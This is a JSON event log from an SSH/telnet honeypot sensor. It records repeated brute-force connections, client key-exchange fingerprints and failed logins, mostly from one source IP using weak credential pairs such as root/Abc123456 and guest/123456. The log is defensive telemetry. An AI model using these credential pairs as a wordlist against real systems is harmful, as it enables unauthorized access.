{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:52.813823Z","src_ip":"192.109.200.78","session":"efe3ae1e7fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxi","password":"123456","message":"login attempt [chenxi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:53.058201Z","src_ip":"192.109.200.78","session":"efe3ae1e7fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.072150230407715,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:54.085931Z","src_ip":"217.146.80.114","session":"24e9ef400fb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:54.142044Z","src_ip":"192.109.200.78","session":"efe3ae1e7fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44392,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c7124315ad7","protocol":"ssh","message":"New connection: 192.109.200.78:44392 (10.17.0.5:22) [session: 7c7124315ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:56.041860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:56.046037Z","src_ip":"192.109.200.78","session":"7c7124315ad7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:56.126972Z","src_ip":"192.109.200.78","session":"7c7124315ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:56.596780Z","src_ip":"192.109.200.78","session":"7c7124315ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:57.680931Z","src_ip":"192.109.200.78","session":"7c7124315ad7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44400,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bc24a0be96d","protocol":"ssh","message":"New connection: 192.109.200.78:44400 (10.17.0.5:22) [session: 0bc24a0be96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:59.667649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:59.671883Z","src_ip":"192.109.200.78","session":"0bc24a0be96d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:59.753544Z","src_ip":"192.109.200.78","session":"0bc24a0be96d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:59.996995Z","src_ip":"192.109.200.78","session":"0bc24a0be96d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:01.081663Z","src_ip":"192.109.200.78","session":"0bc24a0be96d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60742,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7ff3def40f6","protocol":"ssh","message":"New connection: 192.109.200.78:60742 (10.17.0.5:22) [session: a7ff3def40f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:03.036622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:03.040890Z","src_ip":"192.109.200.78","session":"a7ff3def40f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:03.122410Z","src_ip":"192.109.200.78","session":"a7ff3def40f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:03.373931Z","src_ip":"192.109.200.78","session":"a7ff3def40f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:04.458483Z","src_ip":"192.109.200.78","session":"a7ff3def40f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60758,"dst_ip":"10.17.0.5","dst_port":22,"session":"575a1c20ac82","protocol":"ssh","message":"New connection: 192.109.200.78:60758 (10.17.0.5:22) [session: 575a1c20ac82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:06.518245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:06.526236Z","src_ip":"192.109.200.78","session":"575a1c20ac82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:06.608191Z","src_ip":"192.109.200.78","session":"575a1c20ac82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:06.854527Z","src_ip":"192.109.200.78","session":"575a1c20ac82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:07.939233Z","src_ip":"192.109.200.78","session":"575a1c20ac82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60772,"dst_ip":"10.17.0.5","dst_port":22,"session":"d009a63ddfe2","protocol":"ssh","message":"New connection: 192.109.200.78:60772 (10.17.0.5:22) [session: d009a63ddfe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:09.989019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:09.993998Z","src_ip":"192.109.200.78","session":"d009a63ddfe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:10.085895Z","src_ip":"192.109.200.78","session":"d009a63ddfe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:10.357735Z","src_ip":"192.109.200.78","session":"d009a63ddfe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:11.451312Z","src_ip":"192.109.200.78","session":"d009a63ddfe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37822,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e084f4e701f","protocol":"ssh","message":"New connection: 192.109.200.78:37822 (10.17.0.5:22) [session: 7e084f4e701f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:13.367829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:13.372437Z","src_ip":"192.109.200.78","session":"7e084f4e701f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:13.456247Z","src_ip":"192.109.200.78","session":"7e084f4e701f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:13.703670Z","src_ip":"192.109.200.78","session":"7e084f4e701f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":48368,"dst_ip":"10.17.0.5","dst_port":22,"session":"88f58afc4411","protocol":"ssh","message":"New connection: 27.71.230.31:48368 (10.17.0.5:22) [session: 88f58afc4411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:14.063990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:14.121541Z","src_ip":"27.71.230.31","session":"88f58afc4411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:14.787327Z","src_ip":"192.109.200.78","session":"7e084f4e701f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:15.311845Z","src_ip":"27.71.230.31","session":"88f58afc4411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37842,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cf84f153637","protocol":"ssh","message":"New connection: 192.109.200.78:37842 (10.17.0.5:22) [session: 2cf84f153637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:16.685751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:16.837895Z","src_ip":"192.109.200.78","session":"2cf84f153637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:00:16.842150Z","src_ip":"192.109.200.78","session":"2cf84f153637","protocol":"ssh"}
